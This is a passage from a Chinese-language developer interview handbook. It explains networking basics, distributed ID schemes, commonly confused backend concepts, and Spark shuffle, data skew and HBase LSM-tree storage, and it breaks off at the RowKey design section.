| HTTP | HyperText Transfer Protocol | 超文本传输协议,Web 通信的基础 | 02/06/07/08/09/10 |
| HTTPS | HTTP Secure | HTTP + TLS 加密 | 09 |
| TCP | Transmission Control Protocol | 传输控制协议:可靠、面向连接(会重传) | 04/10 |
| UDP | User Datagram Protocol | 用户数据报协议:不可靠、无连接(快,可能丢) | 04 |
| 三次握手 | Three-Way Handshake | TCP 建立连接的三个包 | 04/09 |
| 四次挥手 | Four-Way Wavehand | TCP 断开连接的四个包 | 04/09 |
| DNS | Domain Name System | 域名系统:把 www.baidu.com 解析成 IP | 04/07 |
| CDN | Content Delivery Network | 内容分发网络:把资源缓存到离用户最近的节点 | 04/07/09 |
| REST | Representational State Transfer | 一种 API 设计风格(用 GET/POST/PUT/DELETE) | 02/06/09 |
| RESTful | — | 符合 REST 风格的 API | 09 |
| API | Application Programming Interface | 应用程序接口,别人能调用你的功能 | 全篇 |
| SDK | Software Development Kit | 软件开发工具包,别人封装好给你用的一套库 | 06/07 |
| JSON | JavaScript Object Notation | 轻量级数据交换格式({} 和 []) | 02/03/08/09/10 |
| YAML | YAML Ain’t Markup Language | 配置文件格式(缩进表示层级) | 02/07 |
| XML | eXtensible Markup Language | 可扩展标记语言(老式配置/数据格式) | 02/03 |
| CSV | Comma-Separated Values | 逗号分隔的纯文本表格 | 03/05 |
| CRUD | Create, Read, Update, Delete | 增删改查,最基础的数据操作 | 01/02/03 |
| UUID | Universally Unique Identifier | 通用唯一标识符,128 位随机字符串 | 03/10 |
| Snowflake | Snowflake(雪花算法) | Twitter 的分布式 ID 生成算法,64 位 long | 03/10 |
| 长连接 | Persistent Connection | 建立一次连接,多次复用(不每次都握手) | 04/09 |
| 心跳 | Heartbeat | 定期发小包,确认对方还活着 | 04/09 |
| 同步 / 异步 | Sync / Async | 等着结果 vs 不等结果(回调/通知) | 全篇 |
| 阻塞 / 非阻塞 | Blocking / Non-blocking | 线程挂起等 vs 立刻返回(可以干别的) | 全篇 |
| IO 多路复用 | IO Multiplexing | 一个线程监听多个连接(select/poll/epoll) | 01/04 |
13.2 核心概念详解
同步/异步 vs 阻塞/非阻塞 —— 两对容易混的概念
这是面试的经典陷阱题,两对概念完全不同,不要混着说。
| 同步 / 异步 (关注结果怎么拿到) |
阻塞 / 非阻塞 (关注等待时线程在干嘛) |
|
|---|---|---|
| 同步 | 调用者主动等/主动取结果 | — |
| 异步 | 被调用者通知/回调结果 | — |
| 阻塞 | — | 线程挂起,啥也干不了,直到结果返回 |
| 非阻塞 | — | 线程立刻返回,可以去干别的 |
四种组合(以“去餐馆点餐”为例):
| 阻塞 | 非阻塞 | |
|---|---|---|
| 同步 | 排队等着,拿到餐才走 (同步阻塞) |
点完去看手机,但每隔一会儿要去问“好了没” (同步非阻塞,轮询) |
| 异步 | —(不存在,异步一定是非阻塞) | 拿个取餐号,该干嘛干嘛,好了会叫你 (异步非阻塞) |
技术上的对应:
同步阻塞 :Socket.read() 传统 BIO ← 最简单,但一个连接一个线程
同步非阻塞:NIO 的轮询 ← 一个线程能管多个连接,但要不断轮询
异步非阻塞:AIO / 回调 / CompletableFuture ← 最高效,好了通知你
IO 多路复用(select/poll/epoll):
一个线程监听多个连接,哪个连接有数据了就处理哪个
→ Redis、Netty、Nginx 都用它实现高并发
UUID vs Snowflake —— 两种分布式 ID
| UUID | Snowflake(雪花算法) | |
|---|---|---|
| 长度 | 128 位(36 字符字符串) | 64 位 long(8 字节) |
| 有序吗 | ❌ 完全无序 | ✅ 趋势递增(按时间) |
| 性能 | 中(生成要随机数) | 极高(本地生成,无网络/无锁) |
| 索引友好 | ❌ 差(无序导致 B+Tree 频繁页分裂) | ✅ 好(递增插入,索引效率高) |
| 可读性 | 差 | 好(纯数字) |
| 能看出时间吗 | 不能 | ✅ 能(时间戳部分) |
| 适合 | 对性能要求不高的场景、临时标识 | 数据库主键、订单号、消息 ID |
Snowflake 的结构(64 位 long):
0 41 51 64
┌─┬──────────────────┬──────────┬──────────────┐
│0│ 时间戳(41位) │机器ID(10) │ 序列号(12) │
└─┴──────────────────┴──────────┴──────────────┘
│ │ │ │
│ │ │ └─ 同一毫秒内的自增序号(每毫秒 4096 个)
│ │ └────────────── 最多 1024 台机器
│ └───────────────────────────── 毫秒级时间戳,可用 69 年
└────────────────────────────────────── 符号位,恒为 0(保证是正数)
QPS 上限:1024 × 4096 × 1000 = 42 亿/秒(理论值)
面试高频:时钟回拨问题:
问题:Snowflake 依赖机器时钟。如果时钟被回拨(NTP 同步、人为调整),
可能生成重复 ID。
解法:
① 直接抛异常,拒绝服务(简单粗暴)
② 检测到回拨,等待时钟追上
③ 记录上次生成时间戳,回拨小于阈值就等待,大于就报错
④ 扩展:百度 UidGenerator、美团 Leaf 都做了改进(用 ZK 分配机器 ID、解决时钟回拨)
面试怎么说:
“我们订单 ID 用雪花算法,不用 UUID。 因为 UUID 是无序的 128 位字符串,作为 MySQL 主键插入时会导致 B+Tree 频繁页分裂, 严重影响写入性能和存储空间。 雪花算法是 64 位 long,趋势递增,索引友好,本地生成无网络开销,单机每毫秒能生成 4096 个。 时钟回拨的问题我们用’记录上次时间戳 + 回拨超阈值报错’来处理。”
TCP 三次握手与四次挥手
三次握手(建立连接):
客户端 服务端
│ │
│──── ① SYN=1, seq=x ────────▶│ "我要连你"
│ │
│◀─── ② SYN=1,ACK=1,seq=y, ───│ "好的,我也要连你"
│ ack=x+1 │
│ │
│──── ③ ACK=1, ack=y+1 ──────▶│ "好,连上了"
│ │
为什么是三次?两次不行吗?
两次握手的问题:
客户端发了个连接请求,网络堵了,超时重发了一个,连上了,用完断了
结果第一个请求姗姗来迟,服务端以为是新连接,就建立了连接等着
但客户端根本不知道 → 【服务端白白浪费资源】
三次握手:客户端最后要再确认一次,服务端才知道"这是真的"
(本质是:双方都要确认【对方的发送能力】和【自己的接收能力】都正常)
四次挥手(断开连接):
客户端 服务端
│──── ① FIN ─────────────────▶│ "我说完了"(我不再发数据了)
│◀─── ② ACK ──────────────────│ "知道了"(但我可能还有话要说)
│ │
│◀─── ③ FIN ──────────────────│ "我也说完了"
│──── ④ ACK ─────────────────▶│ "好,挂吧"
│ │
│ 等待 2MSL 后关闭 │ 立即关闭
为什么是四次?
因为 TCP 是全双工的(双向都能发数据)
一方说"我说完了",另一方可能还有数据没发完
所以"我完了"和"你也完了"要分开发 → 四次
为什么要等 2MSL?
① 确保最后一个 ACK 能到达对方(丢了对方会重发 FIN,我能收到再处理)
② 让本次连接的残留报文在网络中消散,避免影响下次连接
CDN(Content Delivery Network,内容分发网络)
一句话:把你的资源(图片、JS、视频)缓存到全国/全球的边缘节点,用户就近取,速度快。
没有 CDN:
北京的用户访问深圳的服务器 → 跨大半个中国 → 延迟 50ms+
新疆的用户访问深圳的服务器 → 跨整个中国 → 延迟 100ms+
有 CDN:
北京的用户 → 北京 CDN 节点(有缓存)→ 5ms
新疆的用户 → 新疆 CDN 节点(有缓存)→ 5ms
(CDN 节点没有缓存时,才回源站取)
工作流程:
① 用户请求 img.example.com/logo.png
② DNS 解析时,CNAME 指向 CDN,CDN 的 DNS 根据用户 IP 返回【最近的节点 IP】
③ 用户请求该节点
├─ 节点有缓存 且 未过期 → 直接返回(【命中】)✅
└─ 没有/过期 → 【回源】到源站取 → 缓存 → 返回
CDN 解决的问题:
- 延迟:就近访问
- 带宽成本:源站带宽压力大幅降低
- 可用性:源站挂了,CDN 缓存还能撑一阵
- 抗攻击:DDoS 流量被 CDN 分散吸收
面试要点:CDN 缓存更新问题
问题:你更新了 logo.png,但 CDN 节点还是旧的
解法:
① 版本号/指纹:logo.v2.png 或 logo.a1b2c3.png(改文件名)★ 最推荐
② 主动刷新:调 CDN 提供的 API 刷新缓存
③ 设置合理的 Cache-Control / TTL
13.3 第十三章小结
【网络分层速记】
应用层 HTTP / HTTPS / DNS / WebSocket
传输层 TCP(可靠)/ UDP(快)
网络层 IP
链路层 以太网
【一个请求的全过程】
输入 www.baidu.com
→ DNS 解析成 IP
→ TCP 三次握手
→ 发 HTTP 请求
→ 服务端处理并返回
→ 浏览器渲染
→ (长连接则复用,否则四次挥手)
第十四章:易混概念对比(面试最容易翻车的地方)
这一章专门收录那些长得像、听起来像、但完全不是一回事的概念。 面试官最爱拿这些“连环追问”,答混了直接露馅。 面试前一天过一遍这一章,性价比最高。
14.1 缓存三兄弟:穿透 / 击穿 / 雪崩
| 穿透 | 击穿 | 雪崩 | |
|---|---|---|---|
| 一句话 | 查不存在的数据 | 单个热点 key 过期 | 大批 key 同时过期 |
| 数据库里有吗 | 没有 | 有 | 有 |
| 失效范围 | 每次都不命中 | 1 个 key | 成千上万个 key |
| 危害 | 数据库被无效请求拖垮 | 数据库被单点流量打爆 | 数据库被全量流量打爆 |
| 解法 | 布隆过滤器 / 缓存空值 | 分布式锁 / 逻辑过期 | TTL 随机化 / 多级缓存 |
记忆口诀:穿透是查无此物,击穿是一点击破,雪崩是成片崩塌。
14.2 容错三剑客:限流 / 熔断 / 降级
| 限流 | 熔断 | 降级 | |
|---|---|---|---|
| 保护对象 | 保护自己 | 保护调用方 | 保护核心业务 |
| 触发时机 | 流量进来时 | 下游出错时 | 系统承压时 |
| 做法 | 超出的拒绝 | 断开,快速失败 | 返回兜底数据 |
| 主动性 | 主动(预防) | 被动(止损) | 兜底(让步) |
| 比喻 | 门口限流排队 | 保险丝烧断 | 走应急通道 |
14.3 分布式事务四方案:2PC / TCC / Saga / 消息队列
| 2PC/XA | TCC | Saga | 可靠消息最终一致 | |
|---|---|---|---|---|
| 一致性 | 强一致 | 接近强一致 | 最终一致 | 最终一致 |
| 锁在哪 | 数据库层 | 业务层 | 无锁(直接提交) | 无锁 |
| 侵入性 | 低 | 高(写 3 个接口) | 中(写补偿) | 低 |
| 性能 | 最差 | 好 | 好 | 最好 |
| 适用场景 | 传统金融核心 | 资金、库存(可预留) | 长流程、无回滚接口 | 互联网主流 |
| 隔离性 | 好 | 好(有预留) | 差(会脏读) | 差 |
一句话选型:能异步就异步(MQ)→ 可预留才 TCC → 长流程用 Saga → 只有金融核心用 2PC。
14.4 消息投递三语义:At Most / At Least / Exactly Once
| At Most Once | At Least Once | Exactly Once | |
|---|---|---|---|
| 会丢吗 | 会丢 | 不会 | 不会 |
| 会重复吗 | 不会 | 会重复 | 不会 |
| 实现 | 发完不管 | 失败重试(MQ 默认) | At Least Once + 消费端幂等 |
关键认知:没有 MQ 能单独做到 Exactly Once,必须业务侧做幂等。
14.5 缓存淘汰:LRU vs LFU
| LRU(最近最少使用) | LFU(最少使用) | |
|---|---|---|
| 看什么 | 多久没被访问 | 被访问的次数 |
| 保护 | 刚访问过的 | 长期热门的 |
| 怕什么 | 一次性批量扫描污染 | 历史包袱(老热点赖着不走) |
| 解法 | — | 频率衰减 |
Caffeine 的 W-TinyLFU 综合两者:1% LRU 窗口接纳新数据 + 频率统计决定去留 + 定期衰减。
14.6 RAG vs 微调
| RAG | 微调 | |
|---|---|---|
| 本质 | 外挂知识库(开卷考试) | 改变模型参数(背下来) |
| 知识更新 | 改文档立刻生效 | 需重新训练 |
| 成本 | 低 | 高 |
| 可溯源 | ✅ 能标引用 | ❌ 黑盒 |
| 适合 | 知识问答(90% 场景) | 改风格/格式/领域语言 |
14.7 SSE vs WebSocket
| SSE | WebSocket | |
|---|---|---|
| 方向 | 单向(服务端→客户端) | 双向 |
| 协议 | HTTP | ws://(需升级) |
| 自动重连 | ✅ 原生支持 | ❌ 需自己实现 |
| 适合 | AI 打字机、推送 | 聊天、协同、实时监控 |
14.8 XSS vs CSRF
| XSS(跨站脚本) | CSRF(跨站请求伪造) | |
|---|---|---|
| 手段 | 注入恶意脚本 | 伪造用户请求 |
| 后果 | 偷信息(Cookie) | 冒充操作(转账) |
| 需要登录 | 不需要 | 需要 |
| 防御 | 转义、CSP、HttpOnly | Token、SameSite Cookie |
记忆:XSS 偷东西,CSRF 冒充你。
14.9 防抖 vs 节流
| 防抖 Debounce | 节流 Throttle | |
|---|---|---|
| 执行 | 最后一次触发后延迟执行 | 按固定频率执行 |
| 频繁触发结果 | 只执行 1 次 | 稀释成均匀多次 |
| 比喻 | 电梯等人 | 水龙头限流 |
| 场景 | 搜索框输入 | 滚动加载、防重复点击 |
14.10 同步/异步 vs 阻塞/非阻塞
这是两对独立的概念,不要混用:
- 同步/异步 → 关注结果怎么拿到(主动取 vs 被动通知)
- 阻塞/非阻塞 → 关注等待时线程在干嘛(挂起 vs 立刻返回)
| 阻塞 | 非阻塞 | |
|---|---|---|
| 同步 | 排队等着拿(BIO) | 边等边轮询(NIO 轮询) |
| 异步 | —(不存在) | 好了叫你(AIO / 回调) |
14.11 悲观锁 vs 乐观锁
| 悲观锁 | 乐观锁 | |
|---|---|---|
| 假设 | 一定会冲突,先锁再说 | 一般不会冲突,提交时再检查 |
| 实现 | SELECT ... FOR UPDATE、synchronized |
版本号 / CAS |
| 适合 | 写多读少、冲突频繁 | 读多写少、冲突少 |
| 代价 | 加锁开销、阻塞 | 冲突时重试的成本 |
乐观锁实现:
UPDATE product
SET stock = stock - 1, version = version + 1
WHERE id = 100 AND version = 5;
-- 返回影响行数 0 → 说明被别人改过了 → 重试或报错
14.12 进程 / 线程 / 协程
| 进程 | 线程 | 协程 | |
|---|---|---|---|
| 是什么 | 资源分配的基本单位 | CPU 调度的基本单位 | 用户态的轻量线程 |
| 有独立内存吗 | ✅ 有(独立地址空间) | ❌ 共享进程内存 | ❌ 共享线程内存 |
| 切换开销 | 最大 | 中 | 最小(不用进内核) |
| 通信 | IPC(管道、共享内存) | 共享内存 + 锁 | 直接共享 |
| 崩溃影响 | 不影响其他进程 | 会拖垮整个进程 | 会拖垮所在线程 |
14.13 堆 vs 栈
| 堆 Heap | 栈 Stack | |
|---|---|---|
| 存什么 | 对象实例 | 局部变量、方法调用帧 |
| 共享吗 | ✅ 线程共享 | ❌ 线程私有 |
| 大小 | 大(GB 级,可调) | 小(默认 1MB,固定) |
| 速度 | 慢(需要 GC) | 快(出栈即释放) |
| 异常 | OutOfMemoryError |
StackOverflowError(递归太深) |
| 碎片 | 有(需要 GC 整理) | 无 |
14.14 Cookie / Session / Token
| Cookie | Session | Token(JWT) | |
|---|---|---|---|
| 存在哪 | 浏览器 | 服务端(内存/Redis) | 浏览器(服务端不存) |
| 有状态吗 | — | ✅ 有状态 | ✅ 无状态 |
| 安全性 | 低(可被篡改) | 高(服务端保管) | 中(签名防篡改,但 Payload 可读) |
| 分布式 | — | ❌ 需要共享(Redis) | ✅ 天然支持 |
| 跨域 | ❌ 受限 | 依赖 Cookie | ✅ 友好 |
| 主动失效 | — | ✅ 可以(删 Session) | ❌ 难(要等过期或加黑名单) |
14.15 GET vs POST
| GET | POST | |
|---|---|---|
| 语义 | 获取资源(幂等、安全) | 提交数据(非幂等) |
| 参数位置 | URL 查询串 | 请求体 Body |
| 长度限制 | 有(URL 长度,约 2KB~8KB) | 无 |
| 可缓存 | ✅ 可以 | ❌ 默认不缓存 |
| 可收藏/后退 | ✅ 无害 | ⚠️ 会重新提交 |
| 安全性 | 参数在 URL 里,不适合传敏感信息 | 相对安全(但仍需 HTTPS) |
⚠️ 常见误区:“GET 比 POST 安全” —— 都不安全,都是明文传输,要加密得用 HTTPS。
14.16 重载 vs 重写
| 重载 Overload | 重写 Override | |
|---|---|---|
| 发生在 | 同一个类里 | 父子类之间 |
| 方法名 | 相同 | 相同 |
| 参数 | 必须不同(个数/类型/顺序) | 必须相同 |
| 返回值 | 可以不同 | 必须相同(或子类型) |
| 多态 | 编译时多态(静态绑定) | 运行时多态(动态绑定) |
| 访问修饰符 | 无限制 | 不能比父类更严格 |
面试高频追问:“返回值不同算重载吗?”
不算。 重载只看参数列表(个数、类型、顺序)。 仅返回值不同,编译器会报“方法已定义”的错误。
14.17 接口 vs 抽象类
| 接口 Interface | 抽象类 Abstract Class | |
|---|---|---|
| 方法 | 默认全是抽象方法(Java 8+ 可有 default) | 可以有抽象方法 + 具体方法 |
| 变量 | 只能是 public static final 常量 |
普通成员变量 |
| 继承 | 可以多实现 | 只能单继承 |
| 构造 | 无构造方法 | 有构造方法 |
| 设计意图 | 定义能力/规范(能做什么) | 定义本质/模板(是什么) |
| 比喻 | USB 接口(一种能力标准) | 动物类(一种分类模板) |
怎么选:
- 强调“能做什么“(如 Flyable、Runnable)→ 接口
- 强调“是什么“,且有公共代码要复用 → 抽象类
14.18 垂直扩容 vs 水平扩容
| 垂直扩容 Scale Up | 水平扩容 Scale Out | |
|---|---|---|
| 做法 | 升级单台机器(加 CPU、内存) | 加更多机器 |
| 上限 | 有上限(单机硬件极限) | 几乎无上限 |
| 成本 | 高端服务器贵,且性价比递减 | 普通服务器,线性扩展 |
| 停机 | 通常需要停机 | 可以不停机 |
| 复杂度 | 低(改配置就行) | 高(要处理分布式问题) |
| 适合 | 快速应急、数据库等有状态服务 | 互联网主流(无状态服务) |
14.19 接口幂等 vs 并发安全
| 幂等 | 并发安全 | |
|---|---|---|
| 关注 | 重复调用结果是否一致 | 同时调用是否出错 |
| 场景 | 网络重试、MQ 重投 | 多线程同时改数据 |
| 典型解法 | 唯一键、Redis SETNX、状态机 | 锁、CAS、事务 |
| 关系 | 幂等通常能顺带解决部分并发问题,但不等价 | — |
14.20 面试高频术语 TOP 30(突击用)
分布式事务:2PC / TCC / Saga / Seata AT / 幂等 / 空回滚 / 悬挂 / 事务消息
消息中间件:ACK / offset / Rebalance / 死信队列 / At Least Once / 消息堆积
缓 存:TTL / LRU / LFU / W-TinyLFU / 穿透 / 击穿 / 雪崩 / Cache Aside
JVM 并发 :JMM / GC / G1 / ZGC / STW / CAS / AQS / ThreadLocal / volatile
数 据 库:MVCC / redo / undo / binlog / 回表 / 覆盖索引 / 间隙锁 / 幻读
框 架:IoC / AOP / 三级缓存 / 自动配置 / 事务传播
微 服 务:RPC / 熔断 / 降级 / 限流 / 分布式锁 / 服务雪崩
可 观 测 :P99 / SLA / SLO / RTO / RPO / MTTR / 链路追踪
AI 应 用:RAG / Embedding / Token / 幻觉 / Function Call / Agent / SSE
前 端:SPA / SSR / 事件循环 / 闭包 / 防抖 / 节流 / 虚拟滚动
14.21 这本手册怎么用
场景一:开始读某一篇文档前 → 翻到那篇开头的「名词速查」小节,扫一眼该篇用到的术语,30 秒搞定,读正文不卡壳。
场景二:读正文时遇到不懂的缩写
→ 回来 Ctrl+F 搜这个缩写,看它的全称和白话解释。
场景三:面试前一天突击 → 只看 第十四章(易混概念对比) + 14.20 的 TOP 30,这是性价比最高的部分。 → 每个概念试着用自己的话 + 一个生活类比讲出来,讲不出来就是没真懂。
场景四:被面试官追问时 → 记住一个万能框架:全称 → 一句话是什么 → 解决什么问题 → 生活类比 → 有什么坑。 → 这五步能答全,比背定义强得多。
附:文档索引(这份手册覆盖的全部文档)
| 编号 | 文档 | 主要术语领域 |
|---|---|---|
| 00 | 名词速查手册(本册) | 全部领域 |
| 01 | Java 核心内功 | JVM / 并发 / 集合 |
| 02 | 开发框架 | Spring / 微服务 / MyBatis / MQ |
| 03 | 数据库与缓存 | MySQL / Redis / 分库分表 |
| 04 | 中间件 | MQ / Redis / 网络 |
| 05 | 大数据 | HBase / ClickHouse / 时序库 |
| 06 | AI 应用开发 | RAG / LLM / Agent |
| 07 | 云原生与 DevOps | K8s / Docker / CI/CD |
| 08 | 可观测性 | 监控 / 链路追踪 / 排查 |
| 09 | 前端基础 | Vue3 / JS 基础 / 工程化 |
| 10 | 数据一致性与缓存同步 | 分布式事务 / 消息 / 缓存一致性 |
| — | 简历技术栈学习指南 | 总索引 |
第十五章:大数据(Spark / HBase)
这一章是 05 号文档(《大数据》)的地基。 如果你从没接触过 Spark / HBase,看到
Shuffle、LSM 树、RowKey、MemStore这几个词会直接卡住。先读这一章。
15.1 本章速查表
| 缩写 / 术语 | 英文全称 | 一句话白话 | 在哪篇 |
|---|---|---|---|
| Spark | Apache Spark | 分布式计算引擎,把数据切成小块分给多台机器同时算 | 05 |
| RDD | Resilient Distributed Dataset | 弹性分布式数据集:Spark 最早的数据抽象,一堆“不可变的分区数据” | 05 |
| DataFrame | DataFrame | 带“表结构”的分布式数据(有列名有类型),比 RDD 好用得多 | 05 |
| Dataset | Dataset | DataFrame 的类型安全版(编译期能查出字段名写错) | 05 |
| Shuffle | Shuffle(洗牌) | 把数据按 key 重新分发到各台机器——Spark 里最贵的操作 | 05 |
| 宽依赖 | Wide Dependency | 父分区的数据要分给多个子分区 → 必须 Shuffle | 05 |
| 窄依赖 | Narrow Dependency | 一个父分区只给一个子分区 → 不用 Shuffle,可以流水线算 | 05 |
| Stage | Stage(阶段) | Spark 把任务按“要不要 Shuffle”切成一段段,一段叫一个 Stage | 05 |
| DAG | Directed Acyclic Graph | 有向无环图:Spark 把整个计算画成一张依赖流程图,再分批执行 | 05 |
| Executor | Executor(执行器) | 真正干活的工作进程,跑在从节点上,一个节点可以跑多个 | 05 |
| Driver | Driver(驱动器) | 总指挥:把你的代码翻译成任务,分给 Executor,收结果 | 05 |
| 数据倾斜 | Data Skew | 大量数据挤在同一个 key 上 → 一台机器累死,其他看戏 → 任务卡住 | 05 |
| 加盐 | Salting | 给 RowKey 加随机前缀,把集中的 key 打散到多台机器 | 05 |
| HBase | Hadoop Database | 分布式的列族数据库,适合海量数据的随机读写 | 05 |
| RowKey | Row Key | HBase 的“主键”,数据按它排序存储,设计好坏直接决定性能 | 05 |
| LSM 树 | Log-Structured Merge Tree | HBase 的存储结构:写入先落内存,攒够了再批量刷成文件 | 05 |
| MemStore | Memory Store | LSM 里的“内存缓冲区”,写进来先放这,攒满了刷到磁盘 | 05 |
| HFile | HBase File | MemStore 刷盘后的产物,存在 HDFS 上的有序文件 | 05 |
| WAL | Write-Ahead Log | 写入前先记日志,防止 MemStore 在内存里还没刷盘就宕机丢数据 | 03/05 |
| Region | Region(分区) | HBase 按 RowKey 范围切分的“数据分片”,一个表有很多 Region | 05 |
| RegionServer | Region Server | 干活的节点进程,管着一堆 Region | 05 |
| 列族 | Column Family | HBase 的列分组(如 info:、data:),建表时就要定好,不能随便加 |
05 |
| Compaction | Compaction(合并) | 把很多小 HFile 合并成大的,清理已删除的数据 | 05 |
| 布隆过滤器 | Bloom Filter | 极省内存的“可能存在”判断器:能确定“一定没有”,但“有”可能是误判 | 03/05 |
| 读放大 | Read Amplification | 读一条数据要翻好几个文件,实际读的量远大于需要的量 | 05 |
| 写放大 | Write Amplification | 写一条数据引发多次后台合并写入,实际写盘量远大于数据量 | 05 |
15.2 核心概念详解
Shuffle —— Spark 里最贵的动作
一句话:把数据按 key 重新洗牌分发,跨机器搬数据,所以慢。
┌─────────────────────────────────────────────────────────┐
│ 类比:学校分班 │
│ │
│ 原来:1班2班3班各坐 40 人(按学号分) │
│ 现在:要按"选课"重新分班(学数学的去A班,学语文的去B班) │
│ │
│ → 所有学生都得站起来,看自己的选课,走到新教室 │
│ → 【这就是 Shuffle:大规模的人员流动】 │
│ │
│ 对比:如果只是"每个人都做一道题"(比如给每人成绩+1分) │
│ → 大家坐着不动就能完成,不需要流动 │
│ → 【这就是窄依赖:不用 Shuffle】 │
└─────────────────────────────────────────────────────────┘
Spark 代码里哪些操作会触发 Shuffle:
❌ 会 Shuffle(宽依赖):
groupByKey —— 按 key 分组
reduceByKey —— 按 key 聚合
join —— 两张表按 key 关联
distinct —— 去重
repartition —— 重新分区
orderBy / sortBy —— 全局排序
✅ 不 Shuffle(窄依赖):
map / filter —— 逐条处理
flatMap —— 一对多展开
union —— 简单拼接
coalesce —— 减少分区(不重新洗,只是合并)
★ 面试话术:
"优化 Spark 任务,第一件事就是数一遍代码里有几个 Shuffle,
能消掉就消掉,消不掉就想办法让 Shuffle 的数据量变小。"
Shuffle 为什么慢?三个代价
① 网络传输:数据要跨机器搬运,带宽是稀缺资源
② 磁盘 I/O:每台机器要把"发给别人"的数据先落盘,免得内存爆
③ 排序:接收方要按 key 排序,CPU 和内存都在烧
★ 一个真实的优化案例(简历项目一:资金拆分):
优化前:
df.groupByKey().mapValues(...) ← groupByKey 全量传输
优化后:
df.reduceByKey(...) ← 先在每台机器本地聚合,再传
区别:
groupByKey:把 100 万条原始记录【全部】搬到网络上传
reduceByKey:先在每台机器本地算出小计,只传【聚合后的几条】
→ 网络传输量从 100 万条降到几百条,任务从 40 分钟降到 3 分钟
数据倾斜 —— Spark 任务的头号杀手
一句话:某个 key 的数据量特别大,导致一个 Executor 干 99% 的活,其他都在等它。
┌─────────────────────────────────────────────────────────┐
│ 现象(一眼就能认出来): │
│ │
│ Spark UI 里看到: │
│ 任务 A:0.5 秒 ✅ │
│ 任务 B:0.3 秒 ✅ │
│ 任务 C:47 分钟 ⏳ ...还在跑 │
│ 任务 D:0.4 秒 ✅ │
│ │
│ → 99% 的任务都完成了,就卡在最后一个 │
│ → 看那个任务的输入数据量,会发现是别人的几千倍 │
│ │
│ 类比:搬砖 │
│ 10 个人搬 1000 块砖,本来一人 100 块,10 分钟干完。 │
│ 但工头把 991 块都分给了张三,其他人各 1 块。 │
│ 其他人 1 分钟干完去喝茶了,张三一个人搬到天黑。 │
│ → 总耗时 = 张三的耗时,和人多不多没关系 │
└─────────────────────────────────────────────────────────┘
常见原因:
· 业务本身就有超级大 key(比如"未登录用户"都被记成 userId=null)
· 空值 / 默认值集中(null、""、0、unknown)
· 热点数据(爆款商品、头部大客户)
解决方案(按优先级):
① 【首选】过滤掉异常 key
null、空串这些本来就该剔除的,直接 filter 掉
② 【最通用】加盐打散(两阶段聚合)
// 第一阶段:给 key 加随机前缀,先局部聚合
val salted = rdd.map { case (k, v) =>
(k + "_" + Random.nextInt(10), v) // ← 加盐:1个key变10个
}.reduceByKey(_ + _)
// 第二阶段:去掉前缀,再聚合一次
val result = salted.map { case (k, v) =>
(k.split("_")(0), v) // ← 去盐
}.reduceByKey(_ + _)
★ 原理:原来 100 万条都挤在一个 key 上,
加盐后打散成 10 份,每份 10 万条,10 台机器一起干
③ 大 key 单独处理(打散 join)
把大 key 和小 key 拆开,大 key 那一小撮走特殊逻辑(如广播 join)
④ 广播 join(Broadcast Join)
如果是一张【小表】和一张【大表】join,
把小表直接广播到每台机器的内存里,彻底避免 Shuffle
spark.sql.autoBroadcastJoinThreshold = 10MB (默认)
⑤ 提高 Shuffle 并行度
spark.sql.shuffle.partitions = 200 (默认,倾斜时可调到 400~800)
★ 注意:这只是治标,key 还是那个 key,只是多分了几个人
LSM 树 —— HBase 为什么写那么快
一句话:写入不直接改磁盘上的文件,而是先写内存,攒够了再一次性顺序刷盘。
┌─────────────────────────────────────────────────────────┐
│ 对比:传统数据库(MySQL 的 B+ 树)vs HBase(LSM 树) │
│ │
│ 【B+ 树:原地更新】 │
│ 改一条数据 → 先找到它在磁盘的哪一页 → 把那页读出来 │
│ → 改掉 → 写回去 │
│ │
│ 类比:你要改笔记本第 47 页的一个字 │
│ → 翻到第 47 页,擦掉重写,合上 │
│ → 【随机写】:每次都要翻到不同的页,慢 │
│ │
│ 【LSM 树:追加写入】 │
│ 改一条数据 → 直接追加到"内存缓冲区",打个标记 │
│ → 攒够了(比如 128MB)→ 一次性【顺序】刷成新文件 │
│ │
│ 类比:你不改笔记本,而是在后面【贴便利贴】 │
│ → "第47页那个字改成X" │
│ → 攒了一堆便利贴,定期整理成新的一页 │
│ → 【顺序写】:永远往后面加,快 │
└─────────────────────────────────────────────────────────┘
HBase 的完整写入链路:
客户端 put
│
├──① 先写 WAL(Write-Ahead Log,预写日志)
│ ★ 这是【顺序写磁盘】,很快
│ ★ 作用:万一 MemStore 还没刷盘就宕机,靠 WAL 恢复
│
├──② 再写 MemStore(内存缓冲区)
│ ★ 纯内存操作,极快
│ ★ 数据在内存里【按 RowKey 排序】
│
└──③ 返回客户端"写入成功"
★ 注意:此时数据【还没落到 HFile】,但已经算成功了
因为 WAL 保证了不会丢
......持续写入......
当 MemStore 攒到阈值(默认 128MB)
│
└──④ flush:把内存里有序的数据【顺序】刷成一个新的 HFile
★ 这就是 LSM 快的根本原因:随机写 → 顺序写
......HFile 越来越多......
当 HFile 数量超过阈值
│
└──⑤ Compaction(合并):把多个小 HFile 合并成大的
· 顺手清理掉被标记为"删除"的数据
· 顺手把同一 key 的多个版本合并,只留最新的
读取链路(比写入麻烦,这就是代价):
客户端 get(rowKey)
│
├──① 先查 MemStore(内存,最新)
├──② 再查 BlockCache(读缓存)
└──③ 最后查所有 HFile(可能要翻好几个文件!)
★ 用【布隆过滤器】快速判断"这个 RowKey 在不在这个文件里"
不在就直接跳过,省掉一次磁盘 I/O
LSM 的三个“放大”代价(面试加分项)
┌─────────────────────────────────────────────────────────┐
│ LSM 用"读变慢"换来了"写变快",代价有三个: │
│ │
│ ❶ 读放大(Read Amplification) │
│ 读一条数据要翻 MemStore + 多个 HFile │
│ 可能实际读了 10 个文件才找到那 1 条 │
│ → 缓解:布隆过滤器 + BlockCache + Compaction │
│ │
│ ❷ 写放大(Write Amplification) │
│ 你只写了 1KB,但 Compaction 反复合并重写, │
│ 实际写盘量可能是 10KB │
│ → 缓解:调整 Compaction 策略,别太频繁 │
│ │
│ ❸ 空间放大(Space Amplification) │
│ 一份数据可能同时存在于:WAL + MemStore + 多个 HFile │
│ 且已删除的数据在 Compaction 前一直占着空间 │
│ → 缓解:定期 Major Compaction │
│ │
│ ★ 面试话术: │
│ "LSM 树的核心权衡是:牺牲读性能和空间,换取极致的写性能。 │
│ 所以 HBase 适合【写多读少 + 海量数据】的场景, │
│ 不适合高并发随机读的在线交易场景——那种该用 MySQL。" │
└─────────────────────────────────────────────────────────┘
RowKey 设计 —— HBase 的“命门”
一句话:HBase 的数据按 RowKey 的字典序存储,RowKey 怎么设计,直接决定数据会不会扎堆、查询快不快。
